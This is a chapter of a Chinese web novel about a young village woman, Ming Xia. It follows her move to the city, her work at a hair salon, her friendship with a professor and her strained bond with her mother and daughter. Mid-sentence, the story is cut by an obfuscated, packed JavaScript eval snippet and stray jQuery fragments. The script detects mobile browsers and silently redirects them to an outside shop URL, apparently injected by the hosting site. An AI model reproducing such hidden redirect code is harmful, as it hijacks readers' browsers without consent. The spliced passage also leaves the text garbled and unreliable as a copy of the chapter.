64.往日、霞与夏[番外]

作品:《母女的超市经营指南[无限]

    一个幽灵般的夏夜。


    明霞像一个刚从水里爬出来的小鬼,她半是恐慌半是庆幸。


    她终于离开了古陵。


    辛辣的酒入喉,入鼻,入胃。那一瞬间燃起的灼烧感犹如被风吹起的灰烬,席卷了她整个人,堵住她的口鼻,几乎让她倒溺在酒里。


    她的勇气恰恰与燃烬的余灰相反,节节攀升,被点燃的心火再不肯轻易熄灭。


    一灭,就是一辈子。


    陈芳捣了捣她的胳膊,“想好了?”


    明霞鼻间传出一声闷闷的“嗯”,昏黄的灯光打在她的侧脸,这张过分稚嫩的脸上写满了坚决。


    命运在岔路口,那时的明霞根本看不清正确,哪条路才是正确的路。


    向左,向右。


    明丽狠狠打了她一顿,棍子打在背上,一下又一下。


    她没有发出任何声音,痛哭流涕才是认输。


    “不许去,你给我好好读书。”


    又黑又长的木棍,原本有些粗糙的表层,是她小时候爬过的那棵树。


    明丽砍掉尖锐的枝桠,用砂纸打磨表层,时间久了,木棍变得越来越黑,越来越趁手,也越来越轻。


    那种用作惩戒的工具,往常不会真正地打在明霞身上。


    一种威慑,明丽只要狠狠打过她一次,当那根棍子再次出现时,明霞就会明白,她做错了。


    无言的沉默,也成为对明霞的责难。


    “还喝吗?”


    陈芳嘻嘻哈哈地笑着,“感觉怎么样?想好了就跟姐走,S市那边可多工厂招人了,我那个服装厂就不错。”


    “好。”


    明霞搓了搓手,她用大拇指指尖摩挲着另外四根手指,指甲长的时候干活总会钻进很多泥,她不想让那些泥塞满指甲。


    她不明白为什么再狭小的缝隙也能被苦难填满,仿佛剪不断的牛皮筋,被绑住了就是永远。


    不是牛皮筋,是根。


    一旦扎了根,便再也移不开。从哪里长出来,就注定被那片土地束缚。


    陈芳拍着桌子,同乡的另一个姑娘脸上也浮现出喜色。


    “这就对了,上学哪有挣钱好,大城市机会可多着呢。咱一个庄上的人,姐不会让你吃亏的。”


    姐不会让你吃亏的。


    明霞半夜从家里偷偷溜出来,只带了一个包。


    一路上,她既害怕被明丽发现,被明丽追上来,也担心未来,那什么S市,什么工厂,真的有她们说得那么好?


    明霞终于离开了古陵。


    抵达S市的那一刻,她不再害怕,即便她的头发和衣服都被汗水浸湿,呆愣愣地站在原地,像一个刚从水里爬出来的小鬼。


    她才十八岁。


    天是那么高那么蓝,地是那么平整那么干净。


    陈芳给她买了碎冰,她们说这是S市的特色,甜爽的西瓜和清凉的碎冰滑进她的胃里,融成了一个过分黏腻又爽快的夏天。


    城市里人来人往,明霞只好用两只眼睛紧紧追逐着陈芳的身影。


    她们把她带到了工厂里。


    明霞在阴凉处等消息,门口依稀传出她们说话的声音。


    “你不是说介绍来一个人给四十吗?”


    “我没说过,最多二十。而且现在又不缺人!”


    “我们都把人领过来了,你又说这个?”


    “你去车间看一看,外面的姑娘哪个不是抢破脑袋想进咱们服装厂。”


    陈芳气急败坏地说着,“二十就二十,你总得给人安排工作。”


    “这我可说了不算,得看车间情况。”


    陈芳压不住怒容,见到明霞后勉强扬起嘴角。


    “妹啊,厂里又出了点事,你得等等消息了。”


    同乡的姑娘也跟着对明霞说好话,“你放心,肯定要你的,就是合计合计哪儿缺人。”


    “妹,你先在附近的那个美丽招待所住一晚。有消息了,我们立刻去找你。”


    对未来的期待终究压过了那点微不足道的不安,天真的明霞顺从地点点头。


    她被陈芳她们带到了美丽招待所。


    一连三天没有任何消息。


    她被“骗”来了S市,明霞坐在公园的台阶上,偌大的城市里,她找不到容身之所。


    钱快花完了,她将一无所有。


    她抬头望着酷热到浅白的天空,天不再蓝,风也少得可怜。


    被她努力甩到身后的焦灼与不安,又一次追上了她。


    明霞将掌心温热的汗水胡乱地抹在衣服上,S市那么大,却又那么小,她垂着头,饿着肚子,走回美丽招待所。


    她随意地踢开一颗小石子,就像命运一脚踢开了她。


    她不死心地趴在前台,“美丽姐,今天有人过来找我吗?”


    李美丽懒洋洋地回答道:“没有啊。你看你热得,你又去春风服装厂了?”


    “嗯。”明霞又一次询问,“这附近其她厂子不招工了吗?”


    “是啊,最近人可多了,很多厂里缺少技术工。想站稳跟脚,还是得有一身之长。”


    李美丽瞧着失魂落魄的明丽又耐心提点了一句。


    “谢谢美丽姐。”


    她踩着边缘发亮的石灰楼梯,脚步声一声比一声重。


    见识了那样的繁华,她不想回去了。


    明霞爬上了最后一级台阶,她拽着书包带子,快速转身。


    “我还得出去问问才行。”


    她跑得很快,像一头莽撞的小豹子,还不知道前方等待她的到底是广阔的原野,还是狭隘的笼子。


    李美丽从柜台里的座位起身,朝外瞥了明霞一眼。


    “慢点!”


    如果一时跑得快不能把一切都甩在身后的话,那她就一直跑,一直跑,一直跑。


    跑起来的时候,她首先感觉到热,太阳晒着她的脸颊,薄红是要渍进她的身体里的颜色;其次是流动的汗水,它们向下落,落到她的脖颈里,落到她的嘴巴里,落到的眼睛里;最后是轻柔的风,那些微风到底是因为她跑才流动起来,还是它们本来就要吹向她。


    夏天炽热地在她的身体里流淌,她以为自己可以占有这个夏天。


    明霞跑了一中午。


    她前两天都不敢问,只是在周围来回转,好像再熟悉一点就好了,话就会自己冒出来,她就能留在这里。


    事实证明,把希望寄托在她人身上是没有用的。


    冒着热气的她拎着书包回到了美丽招待所,第三天,她问了两家早餐店和服装店。


    她们都说不需要,已经招到人了。


    说着一口蹩脚普通话的她,回答着别人流利的普通话,那种羞耻感,正逼迫着她直视自己的贫穷和落后。


    “回来了?瞧你热的,来,坐椅子上歇会。”李美丽伸出手,招呼着明霞。


    “嗯。”明霞坐在椅子上,“谢谢……美丽姐。”


    她的双手紧紧拽住书包带子,迫切面临着一个严峻的问题。


    她没有钱了。


    出来的时候,她没带多少钱,是她平时瞒着明丽偷偷攒下来的一点钱。


    想要留下来,总要舍弃一点没有的自尊心和难为情吧。


    这条路不通,就要换另一条路。学习也是那样,一个镇子能有几个人考上大学就不错了,那些人里不包括她。


    她的成绩常年排在中下游。


    那条叫明霞的小鱼游不到前面,跨不过龙门。


    可明丽总是觉得可以,要她好好学习,不可以也要可以。


    “我……”明霞涨红了脸,犹犹豫豫地想要开口。


    李美丽闻声,望向明霞,“怎么了?”


    “那个,我……美丽姐,我现在还没有……”明霞好像突然丧失了表达能力。


    李美丽打断了她,移开视线,语气自然地说着,“钱是吧,没事,等你有了再给我。你的房间还给你留着呢。”


    明霞晕晕乎乎地上了楼,她扒拉着自己的书包,她依稀记得还剩五块钱的。


    她翻着自己的书包,摸到夹层里鼓鼓囊囊的。


    她拉开拉链,五块的、十块的,蓝蓝紫紫,她粗略地数了一下,大概有一百块。


    她粗鲁地将那些钱塞回书包里,又紧紧抱着书包。


    一笔巨款。


    令人厌烦的眼泪在眼眶里翻涌,像汗水一样落在了她的脖颈里,顺着脖子滑进了她的衣服里,但不黏腻。


    也许眼睛就是离不开水,就像鱼离不开水,也许眼泪是鱼吐出的泡泡,也许眼泪是眼睛发出的声音,眼泪落下,只有非常非常非常细微的声音。


    那是心在哭泣的声音,它告诉眼睛,眼睛又告诉了我们。


    明霞抿着嘴巴,倔强地捶了两下地板。


    她喃喃道:“原来你早就知道。”


    “咚咚咚。”


    “小明啊,你同乡来找你了。”


    李美丽的声音隔着门传过来,明霞吸了吸鼻子,她拖着自己的身体,既疲惫又饥饿。


    她今天早上只吃了一个包子。


    李美丽的视线里闯进了一双泛红的眼睛,她装作看不到,温声对明霞说,“去看看吧。”


    明霞飞快地跑下楼,陈芳和另一个同乡,就在楼下。


    她们脸上挂着歉意的笑,“妹妹,真是不好意思,让你等了两天了。”


    明霞冷静地站在陈芳面前,“有着落了吗?”


    “她们说,你可以去纽扣车间里。”


    “多少钱?”


    “一个月两百。”


    明霞执拗地盯着陈芳,“姐,你之前说,一个月至少三百的,你说你们一个月都四五百。”


    同乡讪讪地笑了笑,“那不是情况不一样嘛,这谁能料到?下半年S市放开了限制,遍地都是来打工的。”


    陈芳也跟着说,“是啊妹,有个活干着,总比你再回去强。”


    她们吃准她会答应。


    明霞问陈芳,“俺娘给你说什么了吗?”


    不待陈芳回答,明霞接着说,“俺娘肯定跟你说了什么,还给你钱了吧,让你多照顾着点我。”


    陈芳微愣,“咱们是同乡,妹妹,我对你怎么样,你心里也清楚吧。”


    “车费,还有请我吃碎冰的钱,都是俺娘给你们的吧。她在学校食堂里炒菜,好不容易攒下来的……”


    明霞边说边靠近陈芳,“你还收着春风服装厂的钱吧。两头都有好处,你装得跟多厉害一样。”


    “还钱!”


    “你不还钱,我就去你们厂里闹,我就要报警!我就说你们把我拐到S市里来了,我身份证上还是未成年!”


    明霞用眼神死死地拧着陈芳,“还钱!”


    陈芳没有见过这样的明霞,不再像是需要她们带着、领着的小孩,而是张开羽翼,亮出獠牙,任谁也不能糊弄的幼鹰。


    她心里一惊,和同乡人面面相觑。


    美丽招待所的人打量着她们,李美丽就站在明霞身后,看向她们。


    李美丽略带讥诮地说着,“哟,我说你们怎么回事,原来想糊弄一个孩子,两头讨巧,得好处。”


    明霞的工作泡汤了,但她又得到了五十块。


    她请李美丽吃了一顿饭,也是她来到S市之后吃过最丰盛的一顿饭。


    明霞又开始四处奔波找工作,李美丽托她的姐妹给明霞打听。


    明霞在工地上干了两个月,又去了服装店里上班,店主是李美丽的远房姐姐,她是被李美丽介绍来的。


    她庆幸自己离开了古陵,来到了S市,住在美丽招待所。


    就这样,明霞拥有了人生中的第一份正式工作,她在S市安顿下来。


    可命运总会在下一个岔路口拐弯。


    五年过去,一千八百二十五天,两万六千四百块。


    她二十三岁了。


    第一年,明丽沉默寡言,和往常一样为她准备好了一切,晒干净的被子,暖乎乎的床,可口的饺子。


    第二年,明丽问她怎么样,她只是回答,很好。


    第三年,第四年,第五年,明丽不再问她。


    嘴巴不说话的时候,对视的眼睛里仿佛诉说了一切。


    那几丝关切宛如飞絮糊住了明霞的嗓子。她们一年难得见一次面,明丽的态度也跟着时间的变化逐渐自然。


    越是这样,明霞越觉得自己不能认输。


    长大的第一件事,明霞试图身体力行地告诉明丽,我自己会过得很好。


    她说不出口。


    凌晨被一个电话叫醒,在冷风里卸货。


    店里两个同事明里暗里的排挤,教她学会了看人脸色。


    恶劣的顾客纵容男儿在店里小便,用尽难听的字眼辱骂她。


    说出那些意味着承认自己错了,她绝不承认自己错了,读书不比打工轻松。


    她靠自己就可以闯出一片天。


    每次回到古陵,家里总有人上门,要给她说亲。


    明霞想起同一个胡同里总是挨打的大姨,早早死去的女人就像一阵烟,被不知道从哪儿来的一阵风吹散了。


    为什么人一定要结昏,她在二十一岁开始思考这个问题。


    在她和明丽一年又一年,相互陪伴的时光里,她没有觉得哪里不好,除了同村人和同龄人偶尔投来怜悯的目光。


    那只会让明霞感到厌烦。


    谁是可怜虫?被打被骂被蔑视,被随意许了男人的她们,为什么会觉得她可怜?


    在S市待的时间越长,她越觉得自己不能回去。


    结昏没什么好的,她只想,要是能挣到很多很多钱,拥有一个完完全全属于她的女儿就好了。


    就像她和明丽那样。


    服装店倒闭了。


    因为S市开了好几家大型的批发市场,春风服装厂经营不善,被私人买走重新改组。


    明霞不知道她该庆幸,还是难过。


    转了个弯的命运,并没有绕过她,绕过任何一个本应该绕过的人。


    服装店衣服的质量一般还贵,也跟着理所应当的倒闭了。


    明霞在宿舍收拾她的东西,她点着钱包里的钱,她还有一千五百块。


    她的钱包前几天掉过一次,她的钱包被人捡到,等她好不容易找回来以后,里面的钱全都没了。


    身份证也被别人扔了,只有一个空壳。


    旧钱包开线了,还破皮,看不上是应该的。但那是她用第一份工资买到的特价钱包。


    命运让她流失的东西,也许会在某个时候归还给她。


    只是现在的明霞还不知道。


    她得去找新工作了,先前几天,找到了类似售货员的工作。


    明霞不想再干那样的工作了,她想,她总得学到点真东西才行。


    人的一辈子那么短,一直干销售,总会轻而易举地被取代,跟倒闭的店一样,失业。


    那只能去给人当学徒了。


    饭店拒绝了她,修车行的男老板摆摆手,说只招男学徒,裁缝铺生意不景气,不招学徒。


    街边理发店倒是人满为患,只是,她们让自家亲戚在干。


    明霞好像回到了那个未满十八岁的夏天,黏腻的汗水往往先一步到来,凉爽的风只能后知后觉地追上她。


    她走到了不常来的那条路,繁华的步行街,这里的东西都不算便宜,附近就是大学城。


    人来人往的吵闹声涌进明霞的耳朵里,她抿着嘴,跟着人流往前。


    既然来都来了,也总要看上一看,再离开吧。


    她停在一家理发店门口。


    微微理发屋。


    一个红短发的女人正往玻璃门外张望着,猝不及防间和明霞对视,她下意识扬起一抹笑。


    明霞的视线移开,她盯着门口的红色纸张看了五秒,原本已经抬起脚调转方向的她还是推门进来。


    像是老板的红短发女人忙着给顾客卷发,里面有一个十八九岁的短发女生在给顾客洗头。


    另一侧的沙发上已经坐了好几个人,看上去,生意还蛮红火。


    “来啦?剪剪,还是烫染?”


    很亲切的语气。


    明霞左看右看的视线停在老板身上,“姐,我看你们门口说的招学徒……”


    “嗯,”邓微手上的动作不停,利落又细致地卷着卷,“是,在我这儿当学徒得至少干满一年,不然你得付学费。”


    “包吃住,没工资。”


    比明霞之前听过的待遇好多了,她在心底松了一口气。


    “姐,没问题。那你看我行吗?”


    邓微看也不看,只是随口应下,“好啊。你先跟小高学一下洗头吧。等不忙的时候,让小高给你介绍一下。”


    “小高在里面给客人洗头呢,你去看看。”


    头发上插满卷的客人侧头瞥了明霞一眼,“微微,你这两句话就定下了一个学徒,可真行。”


    “唉,这是吧,主要还是看情况,总得先学习一下,才知道合不合适。”


    邓微拿起一旁的毛巾围在客人脖子上。


    焗油的味道很重,地上还有很多散乱的毛躁黑发,店里只有客人的面前有两个小风扇,朝上吹。


    被邓微称作小高的女孩子领着客人出来,“微姐,洗好了。”


    “行,我马上剪啊。小高,你和这个……”


    “明霞。”


    邓微转过身,又对着明霞笑了。


    “你和这个明霞熟悉熟悉,你告诉她怎么给客人洗头。”


    明霞豪不局促地跟小高打了个招呼,许是她的示好起了作用,小高很热情地将她领到洗头池前面,叽叽喳喳讲解着。


    小高叫高天晨,是邓微的远房妹妹。


    有眼力劲儿的明霞见缝插针地给邓微帮忙,邓微心里对明霞很满意。


    “明霞,到时候小高收拾一下楼上的房间,你们俩一起住楼上就行。”


    客人都走了,邓微坐在沙发上,对着明霞说。


    小高笑眯眯地应下。


    “微姐,我明天搬过来。”


    明霞用扫帚将地上的黑发都扫走,邓微和小高都是不难相处的人,她觉得留下来是个很不错的选择。


    退一万步说,实在不行,她还可以回到古陵开一家理发店。


    “叮铃。”


    门铃响了,她撞进了一双带着温润笑意的眼睛,来人推了推金丝框眼镜,侧身给明霞让开路。


    明霞愣了一愣,身后邓微的声音飘了过来。


    “哟,好久没见你了!”


    祝明华笑道:“我每隔一段时间都过来,怎么就成好久没见了。”


    “那许是我想你了!”


    “我看也是。”


    她们哈哈大笑,有些旁人插不进去的默契。


    两人的语气熟稔,似乎不仅仅是老板跟熟客,还是关系不错的朋友。


    那是明霞第一次见祝明华,这个比她母亲小一些的女性。


    第二次见祝明华,那是明霞在邓微的允许下第一次给客人洗头,祝明华欣然答应了邓微的请求。


    明霞只觉得自己的手在颤抖,不是因为第一次而感到不安,是因为对象是祝明华。


    从小高的嘴里,明霞第一次知道原来有人可以这样过一辈子。


    祝明华是大学教授,她爱干净,注意形象,每隔一段时间总会来微微理发屋,从邓微上一年刚开店的那会,她们就认识了。


    她会给邓微和小高带礼物,她待人温和,不会忽视明霞。


    明霞从她那里学到了不昏主义。


    “怎么了?”


    祝明华察觉到明霞的迟疑,低着头开口询问道。


    明霞的脸颊微微泛红,她随意找了个借口,“我就是,有些紧张……”


    因为是你,她才总担心自己表现得不好。


    “没关系,免费给洗头,我要是还怪你,那下次再来,微微可得调侃我了。”


    明霞用水瓢舀了热水,用手指感受了温度后,又缓缓浇在祝明华头上。


    “明华姐,你要是有哪里不舒服的,就直接告诉我。”


    得到肯定的回应后,明霞挤了洗发水,轻轻地在祝明华头上揉搓,松软的泡沫蓬蓬的,好像她的心也跟着这样的泡泡一起变得轻盈。


    “你做得很好。”


    明霞开心了三天,她不知道自己到底是因为得到了认可而感到开心,还是因为得到了自己崇拜对象的认可而感到开心。


    一个冬日的夜晚,明霞和小高准备关


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222360|192923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门。


    小高有些抱怨,“都没有几个人,街口新开了一家理发店,剪发比咱们这儿便宜,真不明白这些人放着辛苦钱不赚是要干什么。”


    “而且,微姐又让咱们必须营业到八点。”


    邓微下班走了,小高才敢这么说。


    在明霞之前也有一个学徒,只是没干多久就慊弃太累,不干了。


    现在可轻松太多了,但总归没有钱。


    “叮铃。”


    是祝明华。


    “我没来晚吧?”


    她脸上带着一丝疲惫,寒气不断地从门缝中钻进来,她的指尖发红。


    小高眼里闪过一抹亮色,“华姐,你过来剪头发?”


    祝明华摇了摇头,“我在风城路那边捡到了明霞的身份证!”


    她从口袋里掏出明霞的身份证,“说起来也奇怪,我天天从那儿过,没注意过,今天下午一低头看见灌木丛里边边角角藏着一张卡片。”


    “我捡起来才发现是你的。”


    兜兜转转,她的身份证又回到了她的手里。


    “谢谢……明华姐。”


    那个夜晚,明霞说什么也要请祝明华吃夜宵。


    她第一次看到吸烟的祝明华。


    小摊的另一侧,穿着黑色大衣的祝明华避开摊子上明亮的光线,她的脸藏在黑夜里,食指和中指之间夹着一根烟,零星的火光明明灭灭,离她的手指越来越近。


    明霞隔着烟雾看向祝明华,恍惚间觉得祝明华才是令人看不分明的雾。


    她看不清祝明华的脸,她拎着吃食走到祝明华面前,仿佛站在冰面上穿透层层迷雾,她忍不住咳嗽了两声,呼出几口白气,和深灰色的烟丝混在一起。


    祝明华才发觉,她平淡的眉眼有了波动,视线也跟着聚焦在明霞身上,她按灭香烟,“不好意思。”


    明霞问:“好了,明华姐,吃点吧。”


    她根本就不了解她,她只是有一些关于她的欲望。


    想拥有祝明华那样的生活,想成为祝明华那样的人,想像祝明华一样从容不迫。


    原来真的有人在过她理想中的生活。


    她逃不开的命运,早就已经有人逃开了。


    明霞摇头,“没事的,明华姐。”


    她们一起漫步到附近的公园,路灯拉出她们长长的影子,重叠在一起,只读到高中的明霞和身为大学教授的祝明华正肩并肩走在一起。


    这样的认识显然让明霞感到不可思议。


    “明华姐,你心里有什么事吗?我看你,好像不太开心。”


    她犹犹豫豫问出了这样的问题。


    “是啊,”祝明华说得肯定,轻而易举地对着明霞说出了自己的困惑,“亲戚家的女孩没人管,我不知道该不该收养她。”


    大部分人都把昏育联系在一起,而对于祝明华来说,这完全是两件事,不昏也不育。


    想起那个女孩渴求的眼神,那种拼尽全力也要抓住未来的眼神。


    祝明华惶恐自己的生活要被打破,又期待这个女孩能够继续读书,过上她想过的人生。


    一个十岁出头、母父双亡的女孩。


    “明华姐,你想收养她,对吧?”


    明霞转过身,定定地看着祝明华,用肯定的语气说着猜测的话,想看透祝明华内心真实的想法。


    人一旦开始犹豫,那这件事就不再是可有可无,已经开始衡量得失,也许还是说明有所期待。


    至少,至少祝明华在认真考虑。


    祝明华弯了弯嘴角,“是啊,养一个孩子可不容易呢。明霞,你想过你的未来吗?”


    这是她们第一次讨论未来,在一个没有月亮的夜晚。


    她们的脚步声清晰地在耳边回响,明霞踢开脚边的一颗小石子,她回答,“我要留在S市。”


    “明华姐,我不想结昏,但我想有一个女儿。”


    祝明华略微诧异地看向明霞,侧着头,“明霞,这是我第一次听到你说这种话。”


    明霞能吃苦,情商高,祝明华挺喜欢这个活泼好强的姑娘。


    “你想好了吗?”


    迎着冷风,明霞缩了缩脖子,和祝明华坐在公园的椅背上,小吃还冒着热气,她咬着炸串。


    “嗯。我不想和一个男人组建家庭,光是想想那样的日子,我说的话没有任何用处,我要在别人家里做活,我就很烦。”


    “我很小的时候,我爹就死了,我和我妈……过得很好,没什么区别。我在书里看到过,有一篇课文,讲葱花的。”


    她递给祝明华一串土豆片,又接着说,“具体写了什么我忘了。但里边说,许多女人一辈子都像葱花一样,被种出来,被切开,被扔掉,被吃掉,被丢进土里再长出来。”


    “我不想回到古陵,我要是有一个女儿的话,她就不会像我一样,她会在繁华的城市里长大,长大后有稳定的工作,再生一个女儿。”


    祝明华转着手边的土豆片,她温声说,“明霞,你不会是葱花,你妈妈不是,你不是,如果你有女儿的话,她也不会是。”


    好几年前,她写过一篇散文,叫《葱花》。


    这篇很有争议的文章,被选进了高中语文课本里,只有一年,就又撤掉了。


    葱花的隐喻等来了真正读懂它的人,破土而出的从不只是花,又或者是菜,可以是石头,可以是树,可是蝉。


    只是,它们在等时间。


    时间过得很快,明霞后来很少见到祝明华,再一次见到祝明华的时候,她手里牵了一个女孩。


    祝鹏程。


    那也是祝明华取的名字,鹏程万里,多好的名字。


    明霞学会了剪一些简单的发型,也试着上手剪了几个人。


    她本以为日子会越过越好,但意外总是令人措手不及,邓微生病了,理发店要关门了。


    当邓微在她面前倒下的那一刻,明霞的大脑一片空白,锋利的剪刀划破了她的手掌,她像一团棉花那样软弱无力,手心里渗出细微的鲜血,她紧紧攥着剪刀,边缘处的粉肉翻转,她忘记了疼。


    邓微住院了。


    邓微躺在病床上,她苍白的脸上扯出一抹笑,淅淅沥沥的阵痛刺着人的神经。


    小高在病床一侧也哭得淅淅沥沥,邓微说不出太多的话了,她最后只能笑着拍了拍她们的手。


    祝明华带着邓微最后看了一次朝霞。


    那天的朝霞是那么那么红,像火苗,可以烧尽一切,染遍晨间的雾气。


    邓微抬起指尖,她指了指霞光,又指了指明霞。


    她笑着说,“这真像你啊,明霞。从见你第一眼,我就知道你和祝明华大抵是一样的人,心里藏着一团火一样的人。”


    邓微没有什么亲戚,她不是一阵烟,她是一阵凉爽的急风,她托着三个风筝往上走,虽然她们各自奔赴了各自的天空。


    那是明霞第一次离死亡那么近。


    后来。


    二十五岁的明霞告别了调走的祝明华,告别了回老家的高天晨。


    她有了一个女儿。


    她回到了明丽身边,生气的明丽指着她,最终只说了一句话。


    “你看看有哪个女孩跟你一样?”


    明霞不在乎,她日复一日地磨着明丽,“娘,你难道不想要个孙女吗?”


    “娘,你孙女肯定随你,没准以后能考上大学,当大官呢。”


    “娘,你说咱们给她起个什么名字好?”


    明霞为了缓和关系,把命名权让给了明丽,她们翻遍字典,找到了一个字——蕴。


    明蕴。


    自打明蕴出生后,明霞照顾了她半年多,那软乎乎的小脸蛋让人的心也跟着一起融化。


    明丽欢喜得不得行。


    明霞又要走了,她要挣很多很多钱,她要把女儿和母亲都接到大城市里来。


    明霞当销售,又试着自己摆摊剪头发,卖衣服。虽然保住了本钱,但也没挣到多少钱。


    她又去酒店打工,被辞退。


    那年明蕴五岁,明丽也越来越老。


    她再也联系不上祝明华和高天晨,她所有的时间都在忙着挣钱,她忘记了太多东西,也忘记了她的初心。


    明丽脸上的皱纹越来越多,即便退休了也闲不住,明蕴一天天越长越大,就快该上学了。


    她们过了很长很长时间才能见到一面,每次见面,明蕴总是对她爱搭不理,明丽总是为她忙前忙后。


    明霞有时候会恨自己,也许是她太没用了,她变成了另一种她没有想过的样子。


    她在一个不合适的时机选择离开古陵,选择生下女儿。


    明明天空那么大,那么大,可是她为什么还是没有靠自己闯出一片天呢?


    她跟着刘姐去做生意,被人骗了。


    失败最不值得一提,越是把生意当作唯一的救命稻草,那根救命稻草越可以轻而易举地压断她。


    记忆里那个最后的夏天过于漫长,既闷热又黏腻,被缠上了,就是一辈子。


    谁在她不注意的时候,偷偷溜走了?


    是明丽。


    原来是明丽。


    她还是在跑,只是方向变了。


    到底是谁画了一个圈,她跑了那么远才发现,她一直在用为数不多的时间绕圈子。


    她逃离了明丽带给她的命运,还是逃不掉她的命运。


    后悔吗?


    夏夜的微风吹着她干涩的眼睛,她毫无根由地落下了一滴泪。


    只有一滴。


    顺着她的眼角藏进她的头发里,混杂着汗水,消失不见。


    明蕴还在等她,那孩子才最应该怪她。


    赶不上了,无论她能跑多快,无论她能跑多久,她永远也赶不上。


    明霞的眼睛红得像那一天的朝霞,她和邓微、祝明华一起看过的朝霞。


    谁能告诉她,她的明天在哪里?


    对不起。


    可是再也没有“没关系”。


    明霞终于回到了古陵,她又一次沉溺在酒里,任由泪水和血痕在她身上流淌。


    明霞像一个刚从水里爬出来的大鬼,她半是恐慌半是悲伤。


    那是一个幽灵般的夏夜。


    从她身上经过的,不止有时间。